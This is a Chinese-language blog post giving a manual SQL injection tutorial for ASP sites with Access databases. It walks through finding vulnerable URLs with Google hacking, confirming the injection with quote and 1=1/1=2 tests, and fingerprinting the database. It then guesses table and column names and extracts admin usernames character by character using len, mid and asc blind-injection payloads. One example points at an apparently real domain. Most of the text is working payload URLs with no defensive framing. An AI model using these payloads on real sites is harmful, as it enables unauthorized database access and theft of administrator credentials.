ACCESS手工注入

Posted by Waldo on July 16, 2018

判断是否存在注入

找到一个类似于http://www.xxx.com/xx.asp?id=xxxx的URL后(用Google Hack搜索),加 ‘ (单引号),报错,则该网站可能就存在注入漏洞了,然后分为 提交 http://www.xxx.com/xx.asp?id=xxxx and 1=1和http://www.xxx.com/xx.asp?id=xxxx and 1=2 如果它们两返回的页面不同就说明存在注入漏洞

判断后台数据库的类型

http://www.xxx.com/xx.asp?id=xxxx and user>0

如果是ACCESS数据库,就会在返回的错误里面含有“Microsoft JEF Database”关键字

image.png

如果是MSSQL数据库,就会在返回的错误提示里面含有“SQL Sever”关键字

image.png

猜解表名

http://www.xxx.com/xx.asp?id=xxxx and exists (select * from 表名)

http://www.xxx.com/xx.asp?id=xxxx and exists (select count from 表名)

若页面返回正常,则说明存在这个表

猜解列名

http://www.xxx.com/xx.asp?id=xxxx and exists (select 列名 from 表名)

http://www.xxx.com/xx.asp?id=xxxx and exists (select count(列名) from 表名)

若页面返回正常,则说明存在这个列

猜解列的长度

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(列名) from 表名) > x

其中x是数字,我们需要变换这个x就是列的长度值。

例:若提交

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 len(adminname) from config)>1、>2、>3、>4都返回正常,
猜到>5时出现错误提示,说明列的长度为5

注:变换top后的数字就可以猜解这个列的第N行长度

http://www.xxx.com/xx.asp?id=xxxx and (select top N len(adminname) from config)>x

这就是猜解adminname列的第N行长度

猜解列的内容

介绍两个函数:

  1. Mid函数:Mid(列名,N,1)函数截取第N位字符

  2. ASC函数:ASC(Mid(列名,N,1))函数得到第N位字符的ASCII码

http://www.xxx.com/xx.asp?id=xxxx and (select top 1 asc(mid(列名,列数N,1)) from 表名) > x

注:1. top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字

例:如果提交

http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config) >50,返回正常,
提交>100返回正常,提交>80返回正常,提交>96返回正常,提交>97返回错误,所以adminname列的第一行记录中的第一个字母的ASCII码为97,也就是字母a